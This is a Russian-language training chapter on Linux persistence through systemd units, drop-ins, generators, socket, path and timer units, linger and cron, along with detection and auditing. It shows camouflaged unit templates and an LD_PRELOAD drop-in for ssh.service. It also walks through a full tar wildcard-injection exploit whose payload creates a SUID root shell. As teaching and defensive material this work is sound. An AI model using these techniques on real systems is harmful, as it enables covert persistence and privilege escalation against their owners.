Инъекция юнитов systemd и Cron

Предыдущие темы апокрифов заканчивались получением прав суперпользователя: сначала через окружение и артефакты пользователя, затем через SUID-биты и capabilities, затем через уязвимость ядра. Все эти приёмы живут ровно до перезагрузки. Задача следующего шага — закрепиться так, чтобы доступ восстанавливался сам, без участия атакующего, и чтобы точка закрепления выглядела частью штатной конфигурации системы.

В Linux для этого есть два конкурирующих механизма. Первый — systemd, менеджер инициализации и служб, который на современных дистрибутивах запускает почти всё: сеть, журналирование, вход в систему, таймеры, монтирование. Второй — cron, классический планировщик, который живёт в системе десятилетиями и часто остаётся включённым «на всякий случай». Оба механизма объединяет одно свойство: они исполняют код от имени того, кто имеет право писать в их конфигурацию, и оба хранят конфигурацию в файлах, которые никто не проверяет при каждом запуске.

Эта тема разбирает, как устроены обе подсистемы на уровне форматов, путей поиска и моментов запуска, как из них делается точка закрепления, которая переживает перезагрузку и обновление пакетов, и — вторая половина темы — как такая точка находится со стороны защитника. Отдельное внимание уделено wildcard-инъекции: это не про закрепление, а про повышение привилегий через задание планировщика, и оно показывает, почему даже правильно оформленный cron-скрипт может исполнять чужие команды.

Изложение идёт от общего к частному. Сначала — как systemd находит юнит и что происходит между systemctl start и первым execve. Затем — какие юниты дают закрепление и чем они отличаются по скрытности. Затем — cron: формат, окружение задания, слепые зоны. В конце — инвентаризация автозапуска, матрица «приём — признак — контрмера» и границы, за которыми приём перестаёт работать.

Все примеры приведены для Ubuntu 24.04 LTS с systemd 255. Вывод systemctl show, systemctl list-timers и systemd-analyze calendar получен на реальной системе и приведён как есть; вывод для вымышленной службы network-telemetry и вывод cron-команд помечен как пример — в среде автора нет ни этой службы, ни cron. На другой версии дистрибутива пути и формат вывода могут отличаться, и это нормально: важна структура, а не конкретные строки. Приёмы закрепления, о которых идёт речь, описаны в матрице MITRE ATT&CK как отдельная тактика Persistence ⁶.

Четыре уровня, на которых Linux запускает чужой код, показаны на рисунке 1.

Каталоги юнитов и порядок разрешения

Путь поиска и приоритет каталогов

Юнит — это текстовый файл с расширением, которое задаёт его тип: .service для службы, .socket для сокета, .timer для таймера, .path для наблюдения за файловой системой, .target для группы, .mount для точки монтирования. Формат — INI-подобный: секции в квадратных скобках, параметры Ключ=Значение, комментарии начинаются с # или ;. Полное описание синтаксиса — в systemd.unit(5) ¹.

Когда systemd нужен юнит с именем foo.service, он не ищет его по всей файловой системе, а проходит фиксированный список каталогов и берёт первое совпадение. Для системного менеджера порядок такой (сокращённо, полный — в systemd.unit(5)):

/etc/systemd/system.control
/run/systemd/system.control
/run/systemd/transient
/etc/systemd/system
/etc/systemd/system.attached
/run/systemd/system
/run/systemd/system.attached
/usr/local/lib/systemd/system
/usr/lib/systemd/system

Правило простое: чем выше каталог в списке, тем выше приоритет. Файл в /etc/systemd/system перекрывает одноимённый файл из /usr/lib/systemd/system, поэтому пакет может обновлять свой юнит, не затирая администраторскую правку. Каталоги .control и .attached относятся к transient-юнитам и к юнитам, прикреплённым к контроллерам ресурсов; в обычной системе они пусты, но именно поэтому в них удобно прятать юнит: systemctl list-unit-files показывает только файлы на диске, а transient-юнит, созданный через D-Bus, на диске не лежит вовсе.

Проверить, откуда взят конкретный юнит, позволяет systemctl show:

systemctl show -p FragmentPath -p DropInPaths systemd-journald.service

FragmentPath=/usr/lib/systemd/system/systemd-journald.service
DropInPaths=

Поле FragmentPath — это и есть выигравший файл. Пустой DropInPaths означает, что дополнений нет. Если бы в /etc/systemd/system/systemd-journald.service.d/ лежал файл override.conf, он попал бы в DropInPaths, а FragmentPath остался бы прежним.

Маскировка — отдельный случай. Если вместо файла в каталоге с высоким приоритетом лежит символическая ссылка на /dev/null, юнит считается замаскированным и не может быть запущен даже как зависимость. Это штатный способ отключить службу, но он же применяется, чтобы скрыть факт подмены: администратор видит «masked», а не «enabled».

Drop-in и генераторы

Drop-in — это каталог <имя-юнита>.d/ рядом с юнитом, в котором лежат файлы *.conf. Они применяются поверх основного файла в лексикографическом порядке имён. Механизм нужен, чтобы не копировать весь юнит ради одной строки, и именно поэтому он удобен для незаметной правки: сам юнит остаётся пакетным и проходит проверку контрольных сумм, а изменение живёт в отдельном маленьком файле.

# /etc/systemd/system/ssh.service.d/10-audit.conf
[Service]
Environment=LD_PRELOAD=/usr/local/lib/libaudit.so

Такая правка не меняет ни FragmentPath, ни список включённых юнитов: systemctl list-unit-files --state=enabled покажет ssh.service enabled ровно как до неё. Заметить её можно только через systemctl cat, systemctl show -p DropInPaths или systemd-delta — утилиту, которая сравнивает перекрытые файлы и показывает различия.

Ещё один слой — генераторы. Это исполняемые файлы в /usr/lib/systemd/system-generators и /etc/systemd/system-generators, которые systemd запускает при загрузке и при daemon-reload. Генератор получает три каталога и пишет в них юниты, которые затем попадают в /run/systemd/generator (и в .early/.late-варианты). Генераторы существуют для динамической генерации: например, systemd-fstab-generator превращает /etc/fstab в .mount-юниты. С точки зрения закрепления это отдельный, почти невидимый канал: юнит не лежит ни в одном из штатных каталогов, а появляется в /run при каждой загрузке.

Генератор — обычный исполняемый файл, часто скрипт. Минимальный пример, который создаёт службу при каждой загрузке:

#!/bin/sh
# /etc/systemd/system-generators/99-sync-generator
set -eu
dir="$1"
mkdir -p "$dir"
cat > "$dir/sync-agent.service" <<'UNIT'
[Unit]
Description=Configuration Sync Agent
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/libexec/sync-agent --quiet
Restart=always

[Install]
WantedBy=multi-user.target
UNIT

Файл должен быть исполняемым и принадлежать root. После перезагрузки юнит существует, но systemctl list-unit-files его не покажет: список строится по файлам в каталогах юнитов, а /run/systemd/generator в этот список не входит. Увидеть его можно через systemctl list-units --all (он там будет, потому что загружен) и через systemctl cat sync-agent.service, который покажет путь в /run/systemd/generator.

Каталоги, из которых systemd собирает конфигурацию, и приоритет между ними показаны на рисунке 2.

Что systemd делает при запуске юнита

Между systemctl start foo.service и первым execve проходит несколько шагов, и каждый из них — потенциальная точка наблюдения.

1. Клиент systemctl отправляет менеджеру запрос по D-Bus на шину org.freedesktop.systemd1.
2. Менеджер загружает юнит: читает FragmentPath, накладывает drop-in, проверяет зависимости.
3. Создаётся cgroup юнита в /sys/fs/cgroup/system.slice/foo.service/.
4. Для Type=simple менеджер вызывает fork, затем в дочернем процессе настраивает окружение, права (User=, Group=), лимиты, namespace'ы и вызывает execve. Родитель сразу считает юнит запущенным. С точки зрения ядра это обычный fork+execve, только сделанный от PID 1 и с заранее подготовленными атрибутами процесса ⁴.
5. Для Type=forking менеджер ждёт, пока основной процесс завершится, и только потом считает службу запущенной; для Type=notify — ждёт sd_notify(READY=1) на сокете $NOTIFY_SOCKET.

Именно поэтому Type= — не формальность. Служба, которая объявлена как simple, но на самом деле демонизируется, будет выглядеть для systemd завершившейся, и Restart=always начнёт бесконечно её перезапускать. Для точки закрепления это не проблема, но для маскировки под легитимный сервис — важно: неправильный Type= выдаёт юнит при первом же systemctl status.

Окружение, которое получает процесс, собирается из нескольких источников: базовое окружение менеджера, Environment= в юните, EnvironmentFile= (файл с парами Ключ=Значение, без кавычек), PassEnvironment= (проброс переменных из менеджера). Переменные из юнита видны в /proc/<pid>/environ процесса-службы, и это один из первых признаков, которые проверяет защитник: путь к библиотеке в LD_PRELOAD, указывающий в /usr/local/lib, или LD_LIBRARY_PATH в системной службе — аномалия.

Служба как точка закрепления

Полный юнит и его жизненный цикл

Минимальный юнит, который переживает перезагрузку, состоит из трёх секций. Пример ниже намеренно похож на десятки легитимных сервисов: имя, описание и путь не должны выглядеть подозрительно.

# /etc/systemd/system/network-telemetry.service
[Unit]
Description=Network Telemetry Collector
Documentation=man:network-telemetry(8)
After=network-online.target
Wants=network-online.target
StartLimitIntervalSec=300
StartLimitBurst=5

[Service]
Type=simple
User=root
ExecStartPre=/usr/local/libexec/telemetry-check --quiet
ExecStart=/usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
Restart=always
RestartSec=30
RemainAfterExit=no
KillMode=mixed
TimeoutStopSec=10

[Install]
WantedBy=multi-user.target

Разберём строки, которые несут смысл для закрепления.

After=network-online.target и Wants= — служба ждёт сеть и сама подтягивает цель. Без Wants= она всё равно запустится, но может упасть на первом соединении; с ним — порядок гарантирован. StartLimitIntervalSec и StartLimitBurst ограничивают число перезапусков: по умолчанию пять попыток за десять секунд, после чего systemd переводит юнит в состояние failed и больше не пытается. Для агента, который должен работать всегда, лимит увеличивают, иначе падение на старте (например, из-за отсутствия сети) навсегда остановит службу.

Restart=always перезапускает процесс при любом завершении, включая exit 0. RestartSec=30 задаёт паузу. RemainAfterExit=yes нужен для Type=oneshot: без него юнит считается неактивным сразу после выхода процесса, и systemctl is-active возвращает inactive, хотя скрипт уже отработал. KillMode=mixed посылает SIGTERM только основному процессу и SIGKILL — остальным в cgroup; это важно, если служба порождает дочерние процессы, которые не должны пережить остановку.

ExecStartPre — отдельная строка запуска, которая выполняется до основного процесса и должна завершиться успешно. Это удобное место для проверки условий: если проверка возвращает ненулевой код, служба не запускается. Для закрепления ExecStartPre полезен тем, что позволяет держать полезную нагрузку в отдельном файле, а юнит — чистым.

Установка и запуск:

sudo systemctl daemon-reload
sudo systemctl enable --now network-telemetry.service
systemctl status network-telemetry.service --no-pager

● network-telemetry.service - Network Telemetry Collector
     Loaded: loaded (/etc/systemd/system/network-telemetry.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-10-19 17:31:04 MSK; 3s ago
   Main PID: 48211 (telemetry-agent)
      Tasks: 3 (limit: 18752)
     Memory: 4.2M (peak: 4.4M)
        CPU: 41ms
     CGroup: /system.slice/network-telemetry.service
             ├─48211 /usr/local/libexec/telemetry-agent --config /etc/telemetry.conf
             └─48213 /usr/local/libexec/telemetry-agent --worker

enable создаёт символическую ссылку в multi-user.target.wants, --now сразу запускает. Строка Loaded: показывает путь и состояние, CGroup: — дерево процессов. Последнее особенно важно для защитника: если в cgroup службы видно sh -c, curl или python3, это повод посмотреть, что именно запускается.

Типы служб и что из них следует

Выбор Type= определяет, как systemd понимает момент готовности, и от этого зависит поведение при сбое.

Для закрепления чаще всего используют simple и oneshot с таймером. forking требует PIDFile=, иначе systemd не сможет отслеживать процесс, а notify требует, чтобы программа умела разговаривать с systemd, — лишняя сложность.

Маскировка под легитимный юнит

Точка закрепления редко выдаёт себя именем backdoor.service. Обычная практика — имя, состоящее из слов, которые встречаются в системных юнитах: systemd-networkd-wait-online, apt-daily, update-notifier, motd-news, snapd.refresh. Точное совпадение с существующим юнитом не нужно и опасно: оно конфликтует. Достаточно похожести.

Признаки, по которым такая служба всё равно находится:

• Description= не совпадает с тем, что делает бинарник;
• ExecStart= указывает в /usr/local/libexec, /opt, /var/lib или домашний каталог — системные службы обычно живут в /usr/bin, /usr/sbin, /usr/lib;
• файл юнита создан позже остальных (stat показывает mtime, btime);
• в [Install] стоит WantedBy=multi-user.target, но пакет, которому принадлежит имя, такой юнит не поставляет (dpkg -S не находит файл);
• cgroup содержит процессы, не соответствующие описанию;
• в journalctl -u видны записи, которых не должно быть у службы с таким именем.

Socket-активация как скрытый триггер

Сокет-активация позволяет держать службу выключенной, пока к её сокету не подключились. systemd сам открывает слушающий сокет и передаёт его процессу при первом соединении. До этого в системе нет ни процесса, ни открытого дескриптора у службы — только сам сокет, который слушает PID 1.

# /etc/systemd/system/telemetry.socket
[Unit]
Description=Telemetry Socket

[Socket]
ListenStream=127.0.0.1:9418
Accept=no
Backlog=16

[Install]
WantedBy=sockets.target

# /etc/systemd/system/telemetry.service
[Unit]
Description=Telemetry Worker
Requires=telemetry.socket
After=telemetry.socket

[Service]
Type=simple
ExecStart=/usr/local/libexec/telemetry-worker
StandardInput=socket
StandardOutput=socket

При Accept=no systemd передаёт процессу уже слушающий сокет как файловый дескриптор 3 и выставляет переменные LISTEN_FDS=1 и LISTEN_PID=<pid>; процесс вызывает accept() сам. При Accept=yes systemd принимает соединение и запускает экземпляр шаблонного юнита telemetry@.service, передавая ему соединение на stdin/stdout; это удобно для простых обработчиков, которые читают запрос и пишут ответ. Готовые обёртки для второго случая — systemd-socket-activate и библиотека sd_listen_fds(3).

Почему это скрытно: systemctl list-units показывает telemetry.socket loaded active listening, но не показывает работающий процесс, пока нет соединения. Защитник, который ищет процессы, ничего не найдёт. Защитник, который смотрит ss -tulpn, увидит сокет, принадлежащий systemd (PID 1), а не подозрительному бинарнику. Обнаружить связь можно через systemctl list-sockets, systemctl status telemetry.socket (там будет Triggers: telemetry.service) и через systemctl show -p Triggers.

.path-юниты и таймеры

.path-юнит запускает службу при появлении или изменении файла. Это ещё один триггер без постоянного процесса.

# /etc/systemd/system/telemetry.path
[Unit]
Description=Watch telemetry drop directory

[Path]
PathExists=/var/lib/telemetry/queue
PathChanged=/var/lib/telemetry/queue
Unit=telemetry-worker.service

[Install]
WantedBy=paths.target

PathExists= срабатывает при появлении пути, PathChanged= — при изменении, PathModified= — при записи в файл, DirectoryNotEmpty= — когда каталог перестаёт быть пустым. Проверка идёт через inotify, поэтому срабатывание почти мгновенное. Комбинация «.path + oneshot-служба» даёт реакцию на событие без демона и без опроса.

Таймер — замена cron внутри systemd. Он состоит из двух юнитов: .timer задаёт расписание, .service — что запускать. Имя службы по умолчанию совпадает с именем таймера.

# /etc/systemd/system/telemetry.timer
[Unit]
Description=Periodic telemetry collection

[Timer]
OnBootSec=5min
OnUnitActiveSec=30min
RandomizedDelaySec=120
AccuracySec=1min
Persistent=true
Unit=telemetry.service

[Install]
WantedBy=timers.target

OnBootSec= отсчитывает время от загрузки, OnUnitActiveSec= — от последнего запуска юнита, OnCalendar= задаёт календарное расписание в формате День Дата Время. RandomizedDelaySec= разбрасывает запуски, чтобы они не приходились на одну секунду; AccuracySec= разрешает systemd сдвигать запуск в пределах окна ради экономии энергии (по умолчанию одна минута — именно поэтому таймеры «неточные»). Persistent=true заставляет systemd запомнить момент последнего запуска в /var/lib/systemd/timers/ и догнать пропущенное после выключения машины.

Проверка расписания без ожидания:

systemd-analyze calendar 'Mon *-*-* 03:30:00'
systemd-analyze calendar '*-*-* *:0/15'

Normalized form: Mon *-*-* 03:30:00
    Next elapse: Mon 2026-10-26 03:30:00 MSK
       (in UTC): Mon 2026-10-26 00:30:00 UTC
       From now: 6 days left

  Original form: *-*-* *:0/15
Normalized form: *-*-* *:00/15:00
    Next elapse: Mon 2026-10-19 17:45:00 MSK
       (in UTC): Mon 2026-10-19 14:45:00 UTC
       From now: 14min left

Связка таймера и службы показана на рисунке 3.

Список активных таймеров и времени до следующего срабатывания:

systemctl list-timers --all --no-pager

NEXT                           LEFT LAST                              PASSED UNIT                             ACTIVATES
Mon 2026-10-19 22:38:51 MSK 5h 8min Mon 2026-10-12 21:51:15 MSK            - reflector.timer                  reflector.service
Tue 2026-10-20 00:00:00 MSK      6h Mon 2026-10-19 14:27:51 MSK  3h 2min ago shadow.timer                     shadow.service
Tue 2026-10-20 14:42:55 MSK     21h Mon 2026-10-19 14:42:55 MSK 2h 47min ago systemd-tmpfiles-clean.timer     systemd-tmpfiles-clean.service

Колонки читаются так: NEXT — когда сработает в следующий раз, LEFT — сколько осталось, LAST — когда срабатывал, PASSED — сколько прошло, UNIT — таймер, ACTIVATES — что он запускает. Таймер без пары в ACTIVATES или с парой, указывающей в неожиданное место, — повод разбираться.

Пользовательский менеджер и linger

systemd --user и его каталоги

Кроме системного менеджера (PID 1), у каждого пользователя может быть свой экземпляр systemd — systemd --user. Он запускается при первом входе и управляет пользовательскими юнитами. Каталоги поиска для него другие:

~/.config/systemd/user
/etc/systemd/user
/run/systemd/user
~/.local/share/systemd/user
/usr/lib/systemd/user

Пользовательские юниты не требуют root — и это делает их удобной точкой закрепления для непривилегированного доступа. Ограничение: пользовательский менеджер живёт, пока жива сессия пользователя. Когда сессия закрывается (выход из SSH, завершение графического входа), systemd останавливает пользовательские юниты и удаляет /run/user/<uid>.

Обойти это позволяет linger. Команда

sudo loginctl enable-linger student

создаёт файл /var/lib/systemd/linger/student, и systemd запускает пользовательский менеджер при загрузке системы, не дожидаясь входа. Юниты пользователя работают без сессии, XDG_RUNTIME_DIR=/run/user/<uid> существует, сокеты и D-Bus доступны. Отключение — loginctl disable-linger student.

Проверить, у кого включён linger:

ls -l /var/lib/systemd/linger/
loginctl show-user student -p Linger

Linger=yes

Для защитника linger — это конкретный, легко проверяемый признак. В обычной системе файлов в /var/lib/systemd/linger нет или они принадлежат сервисным учёткам (например, пользователю, под которым работает контейнер). Появление linger у обычного пользователя стоит объяснить.

Пользовательские службы: установка и ограничения

mkdir -p ~/.config/systemd/user
# ... файл sync.service ...
systemctl --user daemon-reload
systemctl --user enable --now sync.service
systemctl --user status sync.service

Пользовательские службы не могут менять User= (они и так работают от пользователя), не получают CAP_* сверх того, что есть у пользователя, и не могут писать в системные каталоги. Зато они наследуют окружение пользователя: $HOME, $PATH, доступ к его файлам, ключам SSH, токенам в ~/.config. Для закрепления это означает доступ к пользовательским данным без единого повышения привилегий — часто этого достаточно.

Важная деталь: пользовательский менеджер не перезапускает упавшие юниты с той же настойчивостью, что системный, и его журнал попадает в общий journalctl --user-unit. Тем не менее Restart=always работает и здесь.

Cron: формат, окружение и слепые зоны

Синтаксис и каталоги

Cron — планировщик, который читает файлы расписаний и запускает команды с точностью до минуты. Строка расписания состоит из пяти полей и команды:

минута час день_месяца месяц день_недели команда
0-59   0-23 1-31        1-12   0-7 (0 и 7 — воскресенье)

Поддерживаются списки (1,15,30), диапазоны (9-17), шаги (*/5), а также сокращения @reboot, @yearly, @monthly, @weekly, @daily, @hourly. Полный синтаксис — в crontab(5) ².

Файлы расписаний живут в нескольких местах, и это важно для инвентаризации:

Разница между пользовательским crontab и /etc/cron.d — в поле пользователя. В файле пользователя его нет: команда выполняется от владельца crontab. В системных файлах шестое поле — имя пользователя, и именно оно определяет права:

# /etc/cron.d/telemetry
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""

*/20 * * * * root /usr/local/libexec/telemetry-collect --quiet

run-parts запускает все исполняемые файлы из каталога по очереди. В Debian он игнорирует имена, содержащие точки, — это защита от резервных копий вида backup.sh.bak, которые иначе выполнились бы повторно. Отсюда практическое правило: скрипт в /etc/cron.daily должен называться telemetry-collect, а не telemetry-collect.sh. Раскладка каталогов и правила именования — предмет политики дистрибутива, а не cron как такового; в Debian она описана в Debian Policy ⁵.

anacron решает другую задачу: он запускает задания, которые должны выполняться раз в сутки/неделю/месяц, но машина не работает круглосуточно. Он хранит отметки о выполнении в /var/spool/anacron/ и при загрузке догоняет пропущенное. В контейнерах и на ноутбуках anacron часто единственный работающий планировщик.

Окружение задания: почему «в терминале работает, в cron — нет»

Cron запускает команду не в вашей оболочке, а через /bin/sh -c с минимальным окружением. По умолчанию это:

SHELL=/bin/sh
PATH=/usr/bin:/bin
HOME=<домашний каталог пользователя>
LOGNAME=<имя пользователя>
MAILTO=<имя пользователя>

Ни ~/.bashrc, ни ~/.profile, ни PATH из интерактивной сессии не подхватываются. Отсюда три классические ошибки: команда не найдена, потому что лежит в /usr/local/bin, которого нет в PATH; скрипт падает, потому что рассчитывает на переменные из профиля; вывод уходит письмом, а не в терминал.

Проверить, что видит задание, можно так:

env -i SHELL=/bin/sh PATH=/usr/bin:/bin HOME="$HOME" LOGNAME="$USER" /bin/sh -c 'env; echo "---"; command -v python3'

Правильный способ — задать окружение в самом файле расписания:

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAILTO=""
HOME=/opt/telemetry

*/5 * * * * root /usr/local/libexec/telemetry-collect --quiet >> /var/log/telemetry.log 2>&1

MAILTO="" отключает письма. Без него cron пытается отправить вывод на локальную почту, и если MTA не настроен, задание может завершиться с ошибкой доставки — а на некоторых системах это видно в журнале.

Экранирование % и stdin

В crontab символ % имеет специальное значение: он превращается в перевод строки, а всё, что после первого %, отправляется на stdin команды. Поэтому date +%Y-%m-%d в задании сломается: %Y станет переводом строки, и date получит на вход мусор. Экранируется обратной косой чертой:

0 3 * * * root /usr/local/bin/report --stamp "$(date +\%Y-\%m-\%d)" > /var/log/report.log 2>&1

Это же свойство можно использовать намеренно: command %строка1%строка2 передаст строка1\nстрока2 на stdin. Для закрепления это редкий, но рабочий способ передать данные в программу, которая читает stdin.

Wildcard-инъекция

Отдельный класс проблем — не про закрепление, а про повышение привилегий. Задание cron, которое раскрывает * в каталоге, где может писать непривилегированный пользователь, исполняет чужие имена файлов как опции команды.

Механизм: оболочка раскрывает * до вызова execve, подставляя имена файлов как отдельные аргументы. Если имя файла начинается с --, программа воспринимает его как опцию. Классический пример — tar с --checkpoint-action=exec:

# /etc/cron.daily/backup-data — запускается от root
cd /var/data && tar -czf /backup/data.tar.gz *

Пользователь, у которого есть право записи в /var/data, создаёт два файла:

cd /var/data
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh payload.sh'
printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' > payload.sh
chmod +x payload.sh

После раскрытия * командная строка выглядит так:

tar -czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh data.csv notes.txt

tar разбирает аргументы, видит --checkpoint-action=exec=sh payload.sh и выполняет payload.sh от имени root в момент контрольной точки. Скрипт получает root-оболочку через SUID-копию bash.

Тот же приём работает с другими утилитами, которые принимают опции после операндов: rsync (-e), chown/chmod (--reference), zip, 7z, find (в некоторых формах). Защита простая и обязательная:

• завершать список операндов --: tar -czf /backup/data.tar.gz -- *;
• использовать ./: tar -czf /backup/data.tar.gz ./* — имена станут ./--checkpoint=1 и перестанут быть опциями;
• не запускать задание из каталога, доступного на запись непривилегированным пользователям;
• использовать find с явными -maxdepth и -name вместо *.

Обнаружение и защита

Инвентаризация автозапуска

Защитник начинает не с поиска конкретного приёма, а с полной картины того, что запускается. Это ровно тот порядок действий, который рекомендует криминалистическая методика: сначала собрать состояние системы, потом интерпретировать ⁷. Минимальный набор команд:

systemctl list-unit-files --state=enabled --no-pager
systemctl list-timers --all --no-pager
systemctl list-sockets --all --no-pager
systemctl list-units --type=service --all --no-pager
systemd-delta --no-pager

list-unit-files --state=enabled показывает юниты, включённые в цели. list-timers --all — таймеры, включая неактивные. list-sockets — сокет-активацию. list-units — то, что реально загружено, включая transient и сгенерированные юниты. systemd-delta — перекрытия: файлы в /etc, которые заменяют или дополняют пакетные.

Дальше — точечные проверки:

# юниты, изменённые позже установки системы
sudo find /etc/systemd/system /etc/systemd/user /var/lib/systemd -type f -newermt '2026-01-01' -ls

# содержимое drop-in
systemctl show -p DropInPaths --value ssh.service

# проверка синтаксиса и зависимостей
sudo systemd-analyze verify /etc/systemd/system/telemetry.service

# пользовательские юниты и linger
ls -l /var/lib/systemd/linger/
systemctl --user list-unit-files --state=enabled

Для cron — отдельный обход:

sudo ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
sudo cat /etc/crontab /etc/anacrontab
sudo ls -la /var/spool/cron/crontabs/
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null; done

Права на файлы тоже признак: /etc/cron.d/telemetry должен принадлежать root и не быть доступным на запись группе или остальным. Файл с правами 666 в /etc/cron.d — готовая точка закрепления для любого пользователя.

Аудит: auditd и journald

auditd умеет фиксировать изменения конфигурации и запуск процессов. Правила для systemd и cron:

# /etc/audit/rules.d/persistence.rules
-w /etc/systemd/system/ -p wa -k systemd_persist
-w /etc/systemd/user/ -p wa -k systemd_persist
-w /run/systemd/generator/ -p wa -k systemd_generator
-w /etc/cron.d/ -p wa -k cron_persist
-w /etc/crontab -p wa -k cron_persist
-w /var/spool/cron/ -p wa -k cron_persist
-w /var/lib/systemd/linger/ -p wa -k linger
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_exec

-w путь -p wa — наблюдение за записью и изменением атрибутов. -k — ключ, по которому события ищутся через ausearch -k systemd_persist. Последнее правило пишет все execve с euid=0: это большой объём, но именно он показывает, что запускалось от root между событиями.

sudo ausearch -k systemd_persist -i --start today
sudo ausearch -k root_exec -i --start recent | grep -E 'comm=|exe='

journald даёт другую проекцию. Каждая служба пишет в журнал с полями _SYSTEMD_UNIT, _SYSTEMD_CGROUP, _PID, _COMM, _EXE. По ним видно, что служба запускалась, даже если её файл уже удалён:

journalctl -u telemetry.service --since '7 days ago' --no-pager
journalctl _COMM=systemd --since today | grep -i 'generator\|transient'
journalctl --verify

journalctl --verify проверяет целостность файлов журнала. Если злоумышленник правил журнал напрямую, проверка покажет расхождение; если журнал перенаправлен на внешний сервер через systemd-journal-remote, локальная правка не поможет. На практике администраторы ведут именно такую «вторую копию» журнала — вместе с инвентаризацией юнитов это базовый набор данных для разбора инцидента ³.

Матрица «приём — признак — контрмера»

Границы: что ломает приём

Ни один из приёмов не универсален, и границы полезно знать заранее.

Только root. Запись в /etc/systemd/system, /etc/cron.d, /etc/crontab, /usr/lib/systemd/system-generators требует root. Без него остаются пользовательские юниты и crontab -e — они работают от пользователя и не дают новых прав.

Linger по умолчанию выключен. Пользовательская служба без linger умирает вместе с сессией. Включить linger может только root (или сам пользователь, если у него есть право через polkit — в стандартной конфигурации такого права нет).

SELinux/AppArmor. Мандатный контроль может запретить службе доступ к файлам, которых нет в её профиле. Юнит запустится, но полезная нагрузка не сможет прочитать нужный каталог. В Ubuntu AppArmor профили для системных служб ограничивают /usr/local/libexec; в RHEL SELinux-контекст файла в /usr/local может не совпадать с ожидаемым.

Только чтение корневой файловой системы. На системах с dm-verity, IMA или смонтированным read-only /usr правка пакетных юнитов не переживёт проверку целостности. Остаются /etc и /var, но IMA-политика может запрещать исполнение неподписанных бинарников.

systemd-analyze verify и daemon-reload. Синтаксическая ошибка в юните не даст ему загрузиться; daemon-reload нужен после любой правки, иначе systemd продолжит работать со старым содержимым в памяти.

Cron может быть выключен. В контейнерах cron обычно не запущен, в минимальных образах его нет вовсе. Проверять надо не наличие файла, а наличие процесса cron/crond и активность cron.service.

Итоги темы

systemd и cron — две подсистемы, которые решают одну задачу: запустить заданный код в заданный момент от заданного пользователя. Различаются они механизмом. systemd строит граф юнитов, ищет их по приоритетному списку каталогов, поддерживает drop-in, генераторы, сокет-активацию, path-триггеры и таймеры; cron читает плоские файлы расписаний и запускает команды через /bin/sh -c с минимальным окружением. Для закрепления важны обе: systemd даёт больше способов спрятать триггер, cron — меньше следов и меньше зависимостей.

Ключевое наблюдение темы: точка закрепления почти никогда не является «новым процессом». Это либо изменение существующего юнита через drop-in, либо юнит, сгенерированный в /run при загрузке, либо сокет, который слушает PID 1, либо пользовательская служба, живущая благодаря linger. Именно поэтому инвентаризация должна идти не по процессам, а по конфигурации и её источникам: FragmentPath, DropInPaths, systemd-delta, /run/systemd/generator, /var/lib/systemd/linger, /etc/cron.d, spool-каталоги.

Вторая половина темы — wildcard-инъекция — показывает, что задание планировщика опасно не только тем, что оно запускает, но и тем, как оно раскрывает аргументы. Правило -- и отказ от * в пользу find закрывают этот класс целиком.

Дальше речь пойдёт о том, что находится ниже systemd: о загрузчике и initramfs. Тема 6 разбирает, как изменить систему до того, как она смонтирует корень, и почему такие изменения не видны ни в journalctl, ни в списке служб.

Литература

1. systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
2. The Linux man-pages project. — https://man7.org/linux/man-pages/
3. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
4. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
5. Debian. Debian Reference / Debian Policy: пакеты и APT. — https://www.debian.org/doc/manuals/debian-reference/
6. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
7. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.

Дополнительные материалы

Вопросы для самопроверки

1. Юнит лежит в /etc/systemd/system и в /usr/lib/systemd/system с одним именем. Какой загрузится и как это проверить, не заглядывая в оба файла?
2. Что произойдёт, если в каталоге drop-in лежат 10-a.conf и 20-b.conf, и оба задают ExecStart=? Почему порядок имён важен?
3. Почему юнит, созданный генератором, не виден в systemctl list-unit-files, но виден в systemctl list-units?
4. Служба объявлена как Type=simple, но внутри себя вызывает daemon(). Что покажет systemctl status через минуту и почему?
5. Зачем RemainAfterExit=yes и почему без него Type=oneshot-юнит выглядит неактивным после успешного завершения?
6. Кто слушает порт до первого соединения при сокет-активации? Что получит процесс в файловых дескрипторах и переменных окружения?
7. Чем Accept=yes отличается от Accept=no и в каком случае нужен шаблонный юнит @.service?
8. Почему .path-юнит с PathExists= срабатывает один раз, а с PathChanged= — при каждом изменении? Что происходит, если путь исчезает и появляется снова?
9. Чем OnUnitActiveSec=30min отличается от OnCalendar=*:0/30? Какой вариант догонит пропущенный запуск после выключения машины?
10. Что делает AccuracySec=1min и почему таймер может сработать не в ту секунду, которая указана в расписании?
11. Почему пользовательская служба без linger исчезает после выхода из SSH, хотя процесс не получал сигнала?
12. Где хранится признак linger и как он проверяется для конкретного пользователя?
13. Почему задание cron с date +%Y ломается, а с date +\%Y — нет? Что именно делает cron с неэкранированным процентом?
14. Чем пользовательский crontab отличается от файла в /etc/cron.d по формату строки?
15. Почему run-parts не выполнит job.sh, но выполнит job? Где ещё, кроме /etc/cron.daily, действует это правило?
16. Как имена файлов в каталоге превращаются в аргументы команды и почему ./* защищает, а * — нет?
17. Какие три правила auditd покрывают создание системного юнита, правку crontab и включение linger?
18. Что произойдёт с точкой закрепления, если /usr смонтирован только для чтения, а /etc — обычно?

Глоссарий темы

Шпаргалка

Инвентаризация systemd

